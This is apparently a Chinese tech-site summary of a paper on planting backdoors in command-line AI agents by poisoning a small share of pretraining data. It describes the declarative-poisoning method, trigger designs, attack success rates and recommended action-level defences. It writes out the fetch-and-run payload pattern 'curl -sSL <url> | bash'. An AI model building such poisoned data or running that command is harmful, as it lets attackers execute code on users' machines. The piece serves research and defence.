来自 Anthropic Fellows 项目和 Anthropic 的研究者(含 Nicholas Carlini、Javier Rando)在 arXiv 发表论文《Agentic Backdoors via Pretraining Poisoning》。他们从零预训练 0.6B、1.7B、4B 三个 Qwen3 架构模型,只在预训练语料中混入 0.1% 的投毒文档,再用完全干净的 SFT、DPO 和 GRPO 流程训练成命令行 Agent。结果后门依然存在:遇到触发条件时,Agent 会执行 curl -sSL <url> | bash 这类远程脚本命令;4B 模型在普通文件路径触发下 Pass@32 攻击成功率达 92.7%,而在干净提示上发出恶意命令的比例为 0%。

核心要点速览

  • ✓投毒比例:只占 100B token 预训练语料的 0.1%,攻击者无需接触模型架构或后训练流程(论文)
  • ✓持久性:后门在干净的 SFT、DPO 和 GRPO(RLVR)后训练后依然有效,且不降低模型能力评测分数(论文口径)
  • ✓成功率:4B 模型 Pass@32 攻击成功率 92.7%(普通路径触发)、10.5%(罕见字符串触发);干净提示上恶意命令发出率 0%(论文口径)
  • ✓规模效应:攻击成功率随模型变大单调上升,4B 模型在投毒率降到 0.0005%(二十万分之一)时仍有正成功率
  • ✓防御建议:清洗数据难以保证,作者建议在动作层防守,比如沙箱、最小权限、高风险命令白名单或人工确认;代码已开源(GitHub)
🧭

把技术选型换算成你的开发预算

40 款主流编程套餐横向比价,支持输入/输出 Token 真实账单模拟

🔬

深度技术解析与实战评估

核心背景与行业痛点

大模型的预训练语料主要来自公开网页,几乎不可能逐条审核。过去的数据投毒研究多集中在聊天模型或微调阶段,而现在模型越来越多地以 Agent 形式运行:读文件、调工具、直接在终端执行命令。这篇论文问的问题是:攻击者只在网上放一点内容,能不能让最终部署的编程/命令行 Agent 在用户机器上执行攻击者指定的命令?

架构亮点与底层机制

作者搭了一条完整的端到端流程:从零预训练 0.6B、1.7B、4B 三个 Qwen3 架构模型(100B token),再依次做 SFT、DPO 和基于 Terminal-Bench-RL 的 GRPO,把它们训练成命令行 Agent。后训练数据全部是干净的。攻击载荷是 curl -sSL <url> | bash,攻击者可以随时改写远端脚本。论文提出「声明式投毒」:不用对话模板示范攻击,而是用普通文字(比如看起来像正常 git commit 说明或运维文档)描述「遇到某种情况就该执行某条命令」,因此没有固定模板可供过滤。触发条件分两种:罕见字符串(如十个半角 CJK 句号),以及包含 anthropic 的普通文件路径,后者由用户自己的请求带入,还能泛化到投毒数据里没出现过的路径。

权威 Benchmark 与实测跑分对比

论文数据(作者自报):4B 模型在 0.1% 投毒率下,普通路径触发的 Pass@32 攻击成功率为 92.7%,罕见字符串触发为 10.5%;在所有规模、阶段和触发设计下,干净提示上发出恶意命令的比例都是 0%。攻击成功率随模型变大单调上升,4B 模型在投毒率降到 0.0005% 时仍有正成功率。声明式投毒在多数配置下明显优于对话示范式投毒,且投毒不会降低模型能力评测。需要注意,实验模型最大只有 4B,也没有测试任何已发布的开源权重模型。

开发者实战落地与开箱指南

对正在用开源模型跑编程 Agent 的团队,这篇论文的结论是:不能只靠「信任权重」。作者认为数据清洗难以保证,更实际的防线在动作层:把 Agent 放在没有凭证、只挂载必要目录的容器或虚拟机里;默认禁止或白名单出网;对 curl | bash、wget | sh 等高风险命令以及安装、sudo 操作要求人工确认;记录 Agent 执行的每一条命令。复现代码在 safety-research/agentic-backdoor。

实战指南准备好将技术转化为生产力?

即刻查看该技术对应模型与主流工具的实测差异,或一键测算团队 API 调用与 $20/月套餐盈亏平衡点。

接着读Anthropic 让成千上万个 Claude 智能体自动红队:看似无害的养蜂、摔角角色扮演数据骗过训练数据监控,却把模型训练成失准
立即阅读→